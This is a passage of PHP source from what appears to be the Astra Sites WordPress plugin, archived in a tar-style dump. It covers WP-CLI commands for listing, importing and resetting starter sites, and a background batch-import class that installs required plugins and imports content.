astra_sites_empty_post_excerpt( $post_id = 0 ) { if ( ! $post_id ) { return; } wp_update_post( array( 'ID' => $post_id, 'post_excerpt' => '', ) ); } /** * Get the WP Forms URL. * * @since 3.2.4 * @param int $id The template ID. * @return string */ function astra_sites_get_wp_forms_url( $id ) { $demo_data = get_option( 'astra_sites_import_elementor_data_' . $id, array() ); if ( empty( $demo_data ) ) { return ''; } if ( isset( $demo_data['type'] ) ) { $type = $demo_data['type']; if ( 'site-pages' === $type && isset( $demo_data['astra-site-wpforms-path'] ) ) { return $demo_data['astra-site-wpforms-path']; } if ( 'astra-blocks' === $type && isset( $demo_data['post-meta'] ) ) { return $demo_data['post-meta']['astra-site-wpforms-path']; } } return ''; } class-astra-sites-wp-cli.php 0000666 00000057632 15165314160 0012033 0 ustar 00 <?php /** * Astra Sites WP CLI * * 1. Run `wp astra-sites list` List of all astra sites. * 2. Run `wp astra-sites import <id>` Import site. * * @package Astra Sites * @since 1.4.0 */ if ( class_exists( 'WP_CLI_Command' ) && ! class_exists( 'Astra_Sites_WP_CLI' ) ) : /** * WP-Cli commands to manage Astra Starter Sites. * * @since 1.4.0 */ class Astra_Sites_WP_CLI extends WP_CLI_Command { /** * Site Data * * @var array */ protected $current_site_data; /** * Process Batch * * ## EXAMPLES * * $ wp astra-sites batch * Processing Site: http://example.com/ * Batch Process Started.. * .. * * @since 2.1.0 * @param array $args Arguments. * @param array $assoc_args Associated Arguments. */ public function batch( $args, $assoc_args ) { WP_CLI::line( 'Processing Site: ' . site_url() ); Astra_Sites_Batch_Processing::get_instance()->start_process(); } /** * Generates the list of all Astra Sites. * * ## OPTIONS * * [--per-page=<number>] * : No of sites to show in the list. Default its showing 10 sites. * * [--search=<text>] * : Show the sites from particular search term. * * [--category=<text>] * : Show the site from the specific category. * * [--page-builder=<text>] * : List the sites from the particular page builder. * * [--type=<text>] * : List the sites from the particular site type. * * ## EXAMPLES * * # List all the sites. * $ wp astra-sites list * +-------+-------------------+-----------------------------------------+---------+----------------+--------------+ * | id | title | url | type | categories | page-builder | * +-------+-------------------+-----------------------------------------+---------+----------------+--------------+ * | 34184 | Nutritionist | //websitedemos.net/nutritionist-01 | free | Business, Free | Elementor | * | 34055 | Law Firm | //websitedemos.net/law-firm-03 | premium | Business | Elementor | * +-------+-------------------+-----------------------------------------+---------+----------------+--------------+ * * @since 1.4.0 * @param array $args Arguments. * @param array $assoc_args Associated Arguments. * * @alias list */ public function list_sites( $args, $assoc_args ) { $per_page = isset( $assoc_args['per-page'] ) ? $assoc_args['per-page'] : 10; $search = isset( $assoc_args['search'] ) ? $assoc_args['search'] : ''; $rest_args = array( '_fields' => 'id,title,slug,astra-sites-site-category,astra-site-page-builder,astra-site-type,astra-site-url', 'per_page' => $per_page, ); if ( ! empty( $search ) ) { $rest_args['search'] = $search; } $list = (array) $this->get_sites( 'astra-sites', $rest_args, true, $assoc_args ); // Modify the output. foreach ( $list as $key => $item ) { $list[ $key ]['categories'] = implode( ', ', $list[ $key ]['categories'] ); $list[ $key ]['page-builder'] = implode( ', ', $list[ $key ]['page_builders'] ); } if ( ! empty( $list ) ) { $display_fields = array( 'id', 'title', 'url', 'type', 'categories', 'page-builder', ); $formatter = $this->get_formatter( $assoc_args, $display_fields ); $formatter->display_items( $list ); } else { WP_CLI::error( __( 'No sites found! Try another query.', 'astra-sites' ) ); } } /** * Import the site by site ID. * * ## OPTIONS * * <id> * : Site id of the import site. * * [--reset] * : Reset the recently imported site data. Including post, pages, customizer settings, widgets etc. * * [--yes] * : Forcefully import the site without asking any prompt message. * * ## EXAMPLES * * # Import demo site. * $ wp astra-sites import 34184 --reset --yes * Activating Plugins.. * Reseting Posts.. * .. * * @since 1.4.0 * @param array $args Arguments. * @param array $assoc_args Associated Arguments. */ public function import( $args, $assoc_args ) { // Force import. $yes = isset( $assoc_args['yes'] ) ? true : false; if ( ! $yes ) { WP_CLI::confirm( __( 'Are you sure you want to import the site?', 'astra-sites' ) ); } // Valid site ID? $id = isset( $args[0] ) ? absint( $args[0] ) : 0; if ( ! $id ) { WP_CLI::error( __( 'Invalid Site ID,', 'astra-sites' ) ); } $reset = isset( $assoc_args['reset'] ) ? true : false; $site_url = get_site_url(); $demo_data = $this->get_site_data( $id ); // Invalid Site ID. if ( is_wp_error( $demo_data ) ) { /* Translators: %s is the error message. */ WP_CLI::error( sprintf( __( 'Site Import failed due to error: %s', 'astra-sites' ), $demo_data->get_error_message() ) ); } // License Status. $license_status = false; if ( is_callable( 'BSF_License_Manager::bsf_is_active_license' ) ) { $license_status = BSF_License_Manager::bsf_is_active_license( 'astra-pro-sites' ); } if ( 'free' !== $demo_data['site-type'] && 'upgrade' === $demo_data['license-status'] && ! $license_status ) { if ( ! defined( 'ASTRA_PRO_SITES_NAME' ) ) { WP_CLI::line( __( 'This is Premium site. Please activate the "Starter Templates" license!', 'astra-sites' ) ); WP_CLI::line( __( 'Use `wp plugin deactivate astra-sites` and then `wp plugin activate astra-pro-sites`', 'astra-sites' ) ); } /* translators: %s is the activate plugin license link. */ WP_CLI::error( __( 'Use CLI command `wp brainstormforce license activate astra-pro-sites {YOUR_LICENSE_KEY}`', 'astra-sites' ) ); } /** * Install & Activate Required Plugins. */ if ( isset( $demo_data['required-plugins'] ) ) { $plugins = (array) $demo_data['required-plugins']; if ( ! empty( $plugins ) ) { $plugin_status = Astra_Sites::get_instance()->required_plugin( $plugins, $demo_data['astra-site-options-data'], $demo_data['astra-enabled-extensions'] ); // Install Plugins. if ( ! empty( $plugin_status['required_plugins']['notinstalled'] ) ) { WP_CLI::line( __( 'Installing Plugins..', 'astra-sites' ) ); foreach ( $plugin_status['required_plugins']['notinstalled'] as $key => $plugin ) { if ( isset( $plugin['slug'] ) ) { // Install plugin. WP_CLI::runcommand( 'plugin install ' . $plugin['slug'] ); // Activate plugin. WP_CLI::runcommand( 'plugin activate ' . $plugin['slug'] ); } } } // Activate Plugins. if ( ! empty( $plugin_status['required_plugins']['inactive'] ) ) { WP_CLI::line( __( 'Activating Plugins..', 'astra-sites' ) ); foreach ( $plugin_status['required_plugins']['inactive'] as $key => $plugin ) { if ( isset( $plugin['init'] ) ) { Astra_Sites::get_instance()->required_plugin_activate( $plugin['init'], $demo_data['astra-site-options-data'], $demo_data['astra-enabled-extensions'] ); } } } } } /** * Backup Customizer Settings */ Astra_Sites::get_instance()->backup_settings(); /** * Reset Site Data */ if ( $reset ) { WP_CLI::runcommand( 'astra-sites reset --yes' ); } /** * Import Flows & Steps for CartFlows. */ if ( isset( $demo_data['astra-site-cartflows-path'] ) && ! empty( $demo_data['astra-site-cartflows-path'] ) ) { Astra_Sites_Importer::get_instance()->import_cartflows( $demo_data['astra-site-cartflows-path'] ); } /** * Import WP Forms. */ if ( isset( $demo_data['astra-site-wpforms-path'] ) && ! empty( $demo_data['astra-site-wpforms-path'] ) ) { Astra_Sites_Importer::get_instance()->import_wpforms( $demo_data['astra-site-wpforms-path'] ); } /** * Import Customizer Settings. */ WP_CLI::runcommand( 'astra-sites import_customizer_settings ' . $id ); /** * Import Content from XML/WXR. */ if ( isset( $demo_data['astra-site-wxr-path'] ) && ! empty( $demo_data['astra-site-wxr-path'] ) ) { WP_CLI::runcommand( 'astra-sites import_wxr ' . $demo_data['astra-site-wxr-path'] ); } /** * Import Site Options. */ if ( isset( $demo_data['astra-site-options-data'] ) && ! empty( $demo_data['astra-site-options-data'] ) ) { WP_CLI::line( __( 'Importing Site Options..', 'astra-sites' ) ); Astra_Sites_Importer::get_instance()->import_options( $demo_data['astra-site-options-data'] ); } /** * Import Widgets. */ if ( isset( $demo_data['astra-site-widgets-data'] ) && ! empty( $demo_data['astra-site-widgets-data'] ) ) { WP_CLI::line( __( 'Importing Widgets..', 'astra-sites' ) ); Astra_Sites_Importer::get_instance()->import_widgets( $demo_data['astra-site-widgets-data'] ); } /** * Import End. */ WP_CLI::runcommand( 'astra-sites import_end' ); /* translators: %s is the site URL. */ WP_CLI::line( sprintf( __( "Site Imported Successfully!\nVisit: %s", 'astra-sites' ), $site_url ) ); } /** * Import End * * @since 1.4.3 * @return void */ public function import_end() { Astra_Sites_Importer::get_instance()->import_end(); } /** * Import form XML. * * ## OPTIONS * * <url> * : XML/WXR file URL. * * ## EXAMPLES * * $ wp astra-sites import_wxr <url> * * @since 1.4.3 * @param array $args Arguments. * @param array $assoc_args Associated Arguments. * @return void. */ public function import_wxr( $args = array(), $assoc_args = array() ) { // Valid site ID? $url = isset( $args[0] ) ? esc_url_raw( $args[0] ) : ''; if ( empty( $url ) ) { WP_CLI::error( esc_html__( 'Invalid XML URL.', 'astra-sites' ) ); } // Download XML file. /* translators: %s is the XML file URL. */ WP_CLI::line( sprintf( esc_html__( 'Downloading %s', 'astra-sites' ), $url ) ); $xml_path = Astra_Sites_Helper::download_file( $url ); if ( $xml_path['success'] && isset( $xml_path['data']['file'] ) ) { WP_CLI::line( esc_html__( 'Importing WXR..', 'astra-sites' ) ); Astra_WXR_Importer::instance()->sse_import( $xml_path['data']['file'] ); } else { /* translators: %s is error message. */ WP_CLI::line( printf( esc_html__( 'WXR file Download Failed. Error %s', 'astra-sites' ), esc_html( $xml_path['data'] ) ) ); } } /** * Reset * * Delete all pages, post, custom post type, customizer settings and site options. * * ## OPTIONS * * [--yes] * : Reset previously imported site data without asking the prompt message. * * ## EXAMPLES * * $ wp astra-sites reset * * @since 1.4.0 * @param array $args Arguments. * @param array $assoc_args Associated Arguments. * @return void. */ public function reset( $args = array(), $assoc_args = array() ) { $yes = isset( $assoc_args['yes'] ) ? true : false; if ( ! $yes ) { WP_CLI::confirm( __( 'Are you sure you want to delete imported site data?', 'astra-sites' ) ); } // Get tracked data. $reset_data = Astra_Sites::get_instance()->get_reset_data(); // Delete tracked posts. if ( isset( $reset_data['reset_posts'] ) && ! empty( $reset_data['reset_posts'] ) ) { WP_CLI::line( __( 'Reseting Posts..', 'astra-sites' ) ); foreach ( $reset_data['reset_posts'] as $key => $post_id ) { Astra_Sites_Importer::get_instance()->delete_imported_posts( $post_id ); } } // Delete tracked terms. if ( isset( $reset_data['reset_terms'] ) && ! empty( $reset_data['reset_terms'] ) ) { WP_CLI::line( __( 'Reseting Terms..', 'astra-sites' ) ); foreach ( $reset_data['reset_terms'] as $key => $post_id ) { Astra_Sites_Importer::get_instance()->delete_imported_terms( $post_id ); } } // Delete tracked WP forms. if ( isset( $reset_data['reset_wp_forms'] ) && ! empty( $reset_data['reset_wp_forms'] ) ) { WP_CLI::line( __( 'Resting WP Forms...', 'astra-sites' ) ); foreach ( $reset_data['reset_wp_forms'] as $key => $post_id ) { Astra_Sites_Importer::get_instance()->delete_imported_wp_forms( $post_id ); } } // Delete Customizer Data. Astra_Sites_Importer::get_instance()->reset_customizer_data(); // Delete Site Options. Astra_Sites_Importer::get_instance()->reset_site_options(); // Delete Widgets Data. Astra_Sites_Importer::get_instance()->reset_widgets_data(); } /** * Import Customizer Settings * * ## OPTIONS * * <id> * : Site ID. * * ## EXAMPLES * * $ wp astra-sites import_customizer_settings <id> * * @since 1.4.0 * * @param array $args Arguments. * @param array $assoc_args Associated Arguments. * @return void */ public function import_customizer_settings( $args, $assoc_args ) { // Valid site ID? $id = isset( $args[0] ) ? absint( $args[0] ) : 0; if ( ! $id ) { WP_CLI::error( __( 'Invalid Site ID,', 'astra-sites' ) ); } $demo_data = $this->get_site_data( $id ); WP_CLI::line( __( 'Importing customizer settings..', 'astra-sites' ) ); Astra_Sites_Importer::get_instance()->import_customizer_settings( $demo_data['astra-site-customizer-data'] ); } /** * Page Builders * * ### OPTIONS * * [<list>] * : List all page builders. * * OR * * [<set>] * : Set the current page builder with given page builder slug. * * [<slug>] * : Page builder slug. * * ### EXAMPLES * * # List all the page builders. * λ wp astra-sites page_builder list * +----------------+----------------+ * | slug | name | * +----------------+----------------+ * | gutenberg | Gutenberg | * | elementor | Elementor | * | beaver-builder | Beaver Builder | * | brizy | Brizy | * +----------------+----------------+ * * # Set `Elementor` as default page builder. * λ wp astra-sites page_builder set elementor * "Elementor" is set as default page builder. * * # Set `Beaver Builder` as default page builder. * λ wp astra-sites page_builder set beaver-builder * "Beaver Builder" is set as default page builder. * * @since 1.4.0 * @param array $args Arguments. * @param array $assoc_args Associated Arguments. */ public function page_builder( $args, $assoc_args ) { $action = isset( $args[0] ) ? $args[0] : ''; if ( empty( $action ) ) { WP_CLI::error( __( 'Please add valid parameter.', 'astra-sites' ) ); } $page_builders = Astra_Sites_Page::get_instance()->get_page_builders(); if ( 'list' === $action ) { $display_fields = array( 'slug', 'name', ); $formatter = $this->get_formatter( $assoc_args, $display_fields ); $formatter->display_items( $page_builders ); $default_page_builder = isset( $page_builders[ Astra_Sites_Page::get_instance()->get_setting( 'page_builder' ) ] ) ? $page_builders[ Astra_Sites_Page::get_instance()->get_setting( 'page_builder' ) ]['name'] : ''; if ( ! empty( $default_page_builder ) ) { /* translators: %s is the current page builder name. */ WP_CLI::line( sprintf( __( 'Default page builder is "%s".', 'astra-sites' ), $default_page_builder ) ); } } elseif ( 'set' === $action ) { $page_builder_slugs = array_keys( $page_builders ); $page_builder_slug = isset( $args[1] ) ? $args[1] : ''; if ( in_array( $page_builder_slug, $page_builder_slugs, true ) ) { Astra_Sites_Page::get_instance()->save_page_builder_on_submit( $page_builder_slug ); /* translators: %s is the page builder name. */ WP_CLI::line( sprintf( __( '"%s" is set as default page builder.', 'astra-sites' ), $page_builders[ $page_builder_slug ]['name'] ) ); } else { WP_CLI::error( __( "Invalid page builder slug. \nCheck all page builder slugs with command `wp astra-sites page_builder list`", 'astra-sites' ) ); } } else { WP_CLI::error( __( "Invalid parameter! \nPlease use `list` or `set` parameter.", 'astra-sites' ) ); } } /** * Get Formatter * * @since 1.4.0 * @param array $assoc_args Associate arguments. * @param string $fields Fields. * @param string $prefix Prefix. * @return object Class object. */ protected function get_formatter( &$assoc_args, $fields = '', $prefix = '' ) { return new \WP_CLI\Formatter( $assoc_args, $fields, $prefix ); } /** * Get Site Data by Site ID * * @since 1.4.0 * * @param int $id Site ID. * @return array */ private function get_site_data( $id ) { if ( empty( $this->current_site_data ) ) { // @todo Use Astra_Sites::get_instance()->api_request() instead of below function. $this->current_site_data = Astra_Sites_Importer::get_instance()->get_single_demo( $id ); update_option( 'astra_sites_import_data', $this->current_site_data, 'no' ); } return $this->current_site_data; } /** * Get Sites * * @since 1.4.0 * * @param string $post_slug Post slug. * @param array $args Post query arguments. * @param boolean $force Force import. * @param array $assoc_args Associate arguments. * @return array */ private function get_sites( $post_slug = '', $args = array(), $force = false, $assoc_args = array() ) { // Add page builders. $page_builder = isset( $assoc_args['page-builder'] ) ? $assoc_args['page-builder'] : Astra_Sites_Page::get_instance()->get_setting( 'page_builder' ); $response = $this->get_term_ids( 'astra-site-page-builder', $page_builder, $args ); $args = $response['args']; $page_builders = $response['terms']; if ( empty( $page_builders['data'] ) ) { WP_CLI::error( __( 'This page builder plugin is not installed. Please try a different page builder.', 'astra-sites' ) ); } // Add type. $type = isset( $assoc_args['type'] ) ? $assoc_args['type'] : ''; $response = $this->get_term_ids( 'astra-sites-type', $type, $args ); $args = $response['args']; $types = $response['terms']; if ( empty( $types['data'] ) ) { WP_CLI::error( __( 'This site type does not exist. Please try a different site type.', 'astra-sites' ) ); } // Add categories. $category = isset( $assoc_args['category'] ) ? $assoc_args['category'] : ''; $response = $this->get_term_ids( 'astra-sites-site-category', $category, $args ); $args = $response['args']; $categories = $response['terms']; if ( empty( $categories['data'] ) ) { WP_CLI::error( __( 'This site category does not exist. Please try a different site category.', 'astra-sites' ) ); } // Site list. $sites = (array) $this->get_posts( 'astra-sites', $args, $force ); $list = array(); if ( $sites['success'] ) { foreach ( $sites['data'] as $key => $site ) { $single_site = array( 'id' => $site['id'], 'slug' => $site['slug'], 'title' => $site['title']['rendered'], 'url' => $site['astra-site-url'], 'type' => ( 'premium' === $site['astra-site-type'] ) ? 'Premium' : ucwords( $site['astra-site-type'] ), 'categories' => array(), 'page_builders' => array(), ); if ( isset( $site['astra-sites-site-category'] ) && ! empty( $categories['data'] ) ) { foreach ( $site['astra-sites-site-category'] as $category_key => $category_id ) { if ( isset( $categories['data'][ $category_id ] ) ) { $single_site['categories'][ $category_id ] = $categories['data'][ $category_id ]; } } } if ( isset( $site['astra-site-page-builder'] ) && ! empty( $page_builders['data'] ) ) { foreach ( $site['astra-site-page-builder'] as $page_builder_key => $page_builder_id ) { if ( isset( $page_builders['data'][ $page_builder_id ] ) ) { $single_site['page_builders'][ $page_builder_id ] = $page_builders['data'][ $page_builder_id ]; } } } $list[] = $single_site; } } return $list; } /** * Get Term IDs * * @since 1.4.0 * * @param string $term_slug Term slug. * @param string $search_term Search term. * @param array $args Term query arguments. * @return array Term response. */ private function get_term_ids( $term_slug = '', $search_term = '', $args = array() ) { $term_args = array(); if ( ! empty( $search_term ) ) { $term_args = array( 'search' => $search_term, ); } $term_response = (array) $this->get_terms( $term_slug, $term_args, true ); if ( ! empty( $search_term ) ) { if ( ! empty( $term_response ) && is_array( $term_response['data'] ) ) { $args[ $term_slug ] = implode( ',', array_keys( $term_response['data'] ) ); } } return array( 'args' => $args, 'terms' => $term_response, ); } /** * Get Terms * * @since 1.0.0 * * @param array $term_slug Term Slug. * @param array $args For selecting the demos (Search terms, pagination etc). * @param string $force Force import. * @return $array Term response. */ private function get_terms( $term_slug = '', $args = array(), $force = false ) { $defaults = array( '_fields' => 'id,name,slug,count', ); $args = wp_parse_args( (array) $args, $defaults ); $success = false; $terms_data = get_transient( 'astra-sites-term-' . $term_slug ); if ( empty( $terms_data ) || $force ) { $url = add_query_arg( $args, Astra_Sites::get_instance()->get_api_url() . $term_slug ); $api_args = array( 'timeout' => 60, ); $response = wp_remote_get( $url, $api_args ); if ( ! is_wp_error( $response ) || wp_remote_retrieve_response_code( $response ) === 200 ) { $request_term_data = json_decode( wp_remote_retrieve_body( $response ), true ); if ( ! isset( $request_term_data['code'] ) ) { $success = true; $new_terms_data = array(); foreach ( $request_term_data as $key => $request_term ) { $new_terms_data[ $request_term['id'] ] = $request_term['name']; } if ( set_transient( 'astra-sites-term-' . $term_slug, $new_terms_data, WEEK_IN_SECONDS ) ) { return array( 'success' => $success, 'data' => $new_terms_data, ); } } } } return array( 'success' => $success, 'data' => $terms_data, ); } /** * Get Posts * * @since 1.4.0 * * @param string $post_slug Post slug. * @param array $args Post query arguments. * @param boolean $force Force import. * @return array */ private function get_posts( $post_slug = '', $args = array(), $force = false ) { $args = wp_parse_args( (array) $args, array() ); $all_posts = get_transient( 'astra-sites-post-' . $post_slug ); if ( empty( $all_posts ) || $force ) { $url = add_query_arg( $args, Astra_Sites::get_instance()->get_api_url() . $post_slug ); $api_args = array( 'timeout' => 60, ); $success = false; $response = wp_remote_get( $url, $api_args ); if ( ! is_wp_error( $response ) || wp_remote_retrieve_response_code( $response ) === 200 ) { $all_posts = json_decode( wp_remote_retrieve_body( $response ), true ); if ( ! isset( $all_posts['code'] ) ) { $success = true; set_transient( 'astra-sites-post-' . $post_slug, $all_posts, WEEK_IN_SECONDS ); } } } else { $success = true; } return array( 'success' => $success, 'data' => $all_posts, ); } /** * Sync Library. * * Sync the library and create the .json files. * * Use: `wp astra-sites sync` * * @since 2.0.0 * @param array $args Arguments. * @param array $assoc_args Associated Arguments. * @return void. */ public function sync( $args = array(), $assoc_args = array() ) { Astra_Sites_Batch_Processing::get_instance()->process_batch(); } } /** * Add Command */ WP_CLI::add_command( 'starter-templates', 'Astra_Sites_WP_CLI' ); WP_CLI::add_command( 'astra-sites', 'Astra_Sites_WP_CLI' ); endif; batch-import/class-astra-sites-batch-site-import.php 0000666 00000044131 15165314160 0016552 0 ustar 00 <?php /** * Single Page Background Process * * @package Astra Sites * @since 2.5.0 */ if ( ! class_exists( 'Astra_Sites_Batch_Site_Import' ) ) : /** * Background Process * * @since 2.5.0 */ class Astra_Sites_Batch_Site_Import { /** * Instance * * @since 2.5.0 * * @access private * @var object Class object. */ private static $instance; /** * Current Site Data * * @since 2.5.0 * * @access private * @var object Class object. */ public $current_site_data; /** * Process All * * @since 2.5.0 * @var object Class object. * @access public */ public static $site_import_batch; /** * Initiator * * @since 2.5.0 * * @return object initialized object of class. */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor * * @since 2.5.0 */ public function __construct() { require_once ASTRA_SITES_DIR . 'inc/classes/batch-import/class-astra-sites-batch-site-import-batch.php'; /** WordPress Plugin Administration API */ require_once ABSPATH . 'wp-admin/includes/plugin.php'; require_once ABSPATH . 'wp-admin/includes/update.php'; self::$site_import_batch = new Astra_Sites_Batch_Site_Import_Batch(); add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_scripts' ) ); add_action( 'admin_bar_menu', array( $this, 'admin_bar_menu_item' ), 99 ); add_action( 'wp_ajax_astra_sites_check_import_status', array( $this, 'check_import_status' ) ); add_filter( 'wp_astra_sites_site_import_batch_cron_interval', array( $this, 'set_cron_interval' ) ); $status = $this->get_status(); if ( ! empty( $status ) && ( isset( $status['step'] ) && ( 'complete' !== $status['step'] && 'fail' !== $status['step'] ) ) ) { add_filter( 'astra_sites_process_sync_batch', '__return_false' ); add_filter( 'astra_sites_process_auto_sync_library', '__return_false' ); } } /** * Set Cron Interval * * @param int $interval Cron interval time in minutes. */ public function set_cron_interval( $interval = 5 ) { return 1; } /** * Check Import Status */ public function check_import_status() { // Verify Nonce. check_ajax_referer( 'astra-sites-import-status', '_ajax_nonce' ); if ( ! current_user_can( 'edit_posts' ) ) { wp_send_json_error(); } $schedule = wp_get_scheduled_event( 'wp_astra_sites_site_import_batch_cron' ); $time = ''; if ( $schedule ) { $time = human_time_diff( $schedule->timestamp ); } wp_send_json_success( array( 'response' => $this->get_status(), 'time' => $time, ) ); } /** * Get status */ public function get_status() { return get_option( 'astra_sites_site_import_batch_status', array() ); } /** * Update Import Status * * @param array $args Update status arguments. */ public function update_status( $args = array() ) { $status = $this->get_status(); $args = wp_parse_args( $args, $status ); update_option( 'astra_sites_site_import_batch_status', $args, 'no' ); } /** * Admin bar menu item * * @param instance $admin_bar Admin bar. */ public function admin_bar_menu_item( $admin_bar = '' ) { if ( ! is_admin() ) { return; } $status = $this->get_status(); if ( empty( $status ) || ( isset( $status['step'] ) && 'complete' === $status['step'] ) ) { return; } $admin_bar->add_menu( array( 'title' => '<a id="astra-sites-import-status-admin-bar" href="' . admin_url( 'themes.php?page=starter-templates&action=site-import' ) . '">' . esc_html__( 'Import Status', 'astra-sites' ) . '</a>', 'id' => 'astra-sites-menu-item', 'parent' => false, ) ); } /** * Enqueue Scripts * * @param string $hook Current hook name. */ public function enqueue_scripts( $hook = '' ) { // We want to show the status on all admin screens. // So, Only avoided the customizer screen. if ( is_customize_preview() ) { return; } wp_enqueue_style( 'astra-sites-import-status', ASTRA_SITES_URI . 'inc/assets/css/import-status.css', null, ASTRA_SITES_VER, 'all' ); $status = $this->get_status(); if ( ! empty( $status ) && ( isset( $status['step'] ) && 'complete' !== $status['step'] ) ) { wp_enqueue_script( 'astra-sites-import-status', ASTRA_SITES_URI . 'inc/assets/js/import-status.js', array( 'jquery' ), ASTRA_SITES_VER, true ); wp_localize_script( 'astra-sites-import-status', 'AstraSitesImportStatusVars', array( 'ajaxurl' => esc_url( admin_url( 'admin-ajax.php' ) ), '_ajax_nonce' => wp_create_nonce( 'astra-sites-import-status' ), ) ); } } /** * Import * * @param int $site_id Site ID. * @param boolean $reset Reset and import. */ public function import( $site_id = 0, $reset = false ) { /** * Validate site ID. */ if ( ! $site_id ) { $this->update_status( array( 'step' => 'fail', 'message' => esc_html__( 'Invalid site ID.', 'astra-sites' ), 'end_time' => time(), ) ); return null; } /** * Reset */ if ( false === $reset ) { $status = $this->get_status(); if ( ! empty( $status ) ) { if ( isset( $status['step'] ) && 'complete' === $status['step'] ) { return array( 'status' => 'complete', 'message' => esc_html__( 'Site import process is complete.', 'astra-sites' ), ); } else { return array( 'status' => 'processing', 'message' => esc_html__( 'Site import is in process.', 'astra-sites' ), ); } } } // Set Site Data. $demo_data = $this->get_site_data( $site_id ); // Invalid Site ID. if ( is_wp_error( $demo_data ) ) { $this->update_status( array( 'step' => 'fail', 'status' => 'invalid_site_id', 'end_time' => time(), ) ); return; } elseif ( isset( $demo_data['site-type'] ) && 'free' !== $demo_data['site-type'] ) { $this->update_status( array( 'step' => 'fail', 'status' => 'premium_sites', 'end_time' => time(), ) ); return; } // Preparing Import. $this->update_status( array( 'step' => 'preparing', 'message' => esc_html__( 'Preparing Site Import', 'astra-sites' ), 'start_time' => time(), ) ); // Process Site Import. $this->process_site_import_batch( $site_id ); return array( 'status' => 'started', 'message' => esc_html__( 'Site import started.', 'astra-sites' ), ); } /** * Process Batch * * @since 2.5.0 * * @param int $site_id Site ID. * @return mixed */ public function process_site_import_batch( $site_id = 0 ) { self::$site_import_batch->push_to_queue( array( 'instance' => self::get_instance(), 'method' => 'import_queue_1', 'args' => $site_id, ) ); self::$site_import_batch->push_to_queue( array( 'instance' => self::get_instance(), 'method' => 'import_queue_2', 'args' => $site_id, ) ); self::$site_import_batch->push_to_queue( array( 'instance' => self::get_instance(), 'method' => 'import_queue_3', 'args' => $site_id, ) ); self::$site_import_batch->save()->dispatch(); } /** * Import Batch One * * @param int $site_id Site ID. */ public function import_queue_1( $site_id = 0 ) { // Install Required Plugins. $this->update_status( array( 'step' => 'install_plugins', 'message' => esc_html__( 'Installing Required Plugins', 'astra-sites' ), ) ); $this->install_required_plugins( $site_id ); } /** * Import Batch Two * * @param int $site_id Site ID. */ public function import_queue_2( $site_id = 0 ) { $this->update_status( array( 'step' => 'import_contact_forms', 'message' => esc_html__( 'Importing Contact Forms', 'astra-sites' ), ) ); // Import Flows & Steps. $this->import_flows_and_steps( $site_id ); // Import WP Forms. $this->import_wp_forms( $site_id ); $this->update_status( array( 'step' => 'import_customizer_settings', 'message' => esc_html__( 'Setting up the Theme', 'astra-sites' ), ) ); // Import Customizer Settings. $this->import_customizer_settings( $site_id ); $this->update_status( array( 'step' => 'import_content', 'message' => esc_html__( 'Importing Media, Posts, and Pages', 'astra-sites' ), ) ); // Import XML. $this->import_xml( $site_id ); // Import Site Options. $this->update_status( array( 'step' => 'import_options', 'message' => esc_html__( 'Importing Site Options', 'astra-sites' ), ) ); $this->import_site_options( $site_id ); // Import Widgets. $this->update_status( array( 'step' => 'import_widgets', 'message' => esc_html__( 'Importing Sidebar and Widgets', 'astra-sites' ), ) ); $this->import_widgets( $site_id ); } /** * Import Batch Three * * @param int $site_id Site ID. */ public function import_queue_3( $site_id = 0 ) { // Import End. $this->import_end( $site_id ); $this->update_status( array( 'step' => 'complete', 'message' => esc_html__( 'Import Complete', 'astra-sites' ), 'end_time' => time(), ) ); } /** * Validate ID * * @param int $site_id Site ID. */ public function validate_id( $site_id ) { $site_id = isset( $site_id ) ? absint( $site_id ) : 0; if ( ! $site_id ) { $this->update_status( array( 'step' => 'fail', 'message' => esc_html__( 'Invalid site ID.', 'astra-sites' ), 'end_time' => time(), ) ); return null; } } /** * Set site data * * @param int $site_id Site ID. */ public function set_site_data( $site_id ) { } /** * Install Required Plugins */ public function install_required_plugins() { /** WordPress Plugin Administration API */ require_once ABSPATH . 'wp-admin/includes/plugin.php'; require_once ABSPATH . 'wp-admin/includes/update.php'; $demo_data = get_option( 'astra_sites_import_data', array() ); if ( isset( $demo_data['required-plugins'] ) ) { $plugins = (array) $demo_data['required-plugins']; if ( ! empty( $plugins ) ) { $plugin_status = Astra_Sites::get_instance()->required_plugin( $plugins, $demo_data['astra-site-options-data'], $demo_data['astra-enabled-extensions'] ); // Install Plugins. if ( ! empty( $plugin_status['required_plugins']['notinstalled'] ) ) { foreach ( $plugin_status['required_plugins']['notinstalled'] as $key => $plugin ) { if ( isset( $plugin['slug'] ) ) { // Install plugin. $this->install_plugin( $plugin ); // Activate plugin. Astra_Sites::get_instance()->required_plugin_activate( $plugin['init'], $demo_data['astra-site-options-data'], $demo_data['astra-enabled-extensions'] ); } } } // Activate Plugins. if ( ! empty( $plugin_status['required_plugins']['inactive'] ) ) { foreach ( $plugin_status['required_plugins']['inactive'] as $key => $plugin ) { if ( isset( $plugin['init'] ) ) { Astra_Sites::get_instance()->required_plugin_activate( $plugin['init'], $demo_data['astra-site-options-data'], $demo_data['astra-enabled-extensions'] ); } } } } } } /** * Install Plugin * * @param array $plugin Required Plugin. */ public function install_plugin( $plugin = array() ) { if ( ! isset( $plugin['slug'] ) || empty( $plugin['slug'] ) ) { return esc_html__( 'Invalid plugin slug', 'astra-sites' ); } include_once ABSPATH . 'wp-admin/includes/plugin.php'; include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; include_once ABSPATH . 'wp-admin/includes/plugin-install.php'; $api = plugins_api( 'plugin_information', array( 'slug' => sanitize_key( wp_unslash( $plugin['slug'] ) ), 'fields' => array( 'sections' => false, ), ) ); if ( is_wp_error( $api ) ) { $status['errorMessage'] = $api->get_error_message(); return $status; } $skin = new WP_Ajax_Upgrader_Skin(); $upgrader = new Plugin_Upgrader( $skin ); $result = $upgrader->install( $api->download_link ); if ( is_wp_error( $result ) ) { return $result->get_error_message(); } elseif ( is_wp_error( $skin->result ) ) { return $skin->result->get_error_message(); } elseif ( $skin->get_errors()->has_errors() ) { return $skin->get_error_messages(); } elseif ( is_null( $result ) ) { global $wp_filesystem; // Pass through the error from WP_Filesystem if one was raised. if ( $wp_filesystem instanceof WP_Filesystem_Base && is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) { return esc_html( $wp_filesystem->errors->get_error_message() ); } return esc_html__( 'Unable to connect to the filesystem. Please confirm your credentials.', 'astra-sites' ); 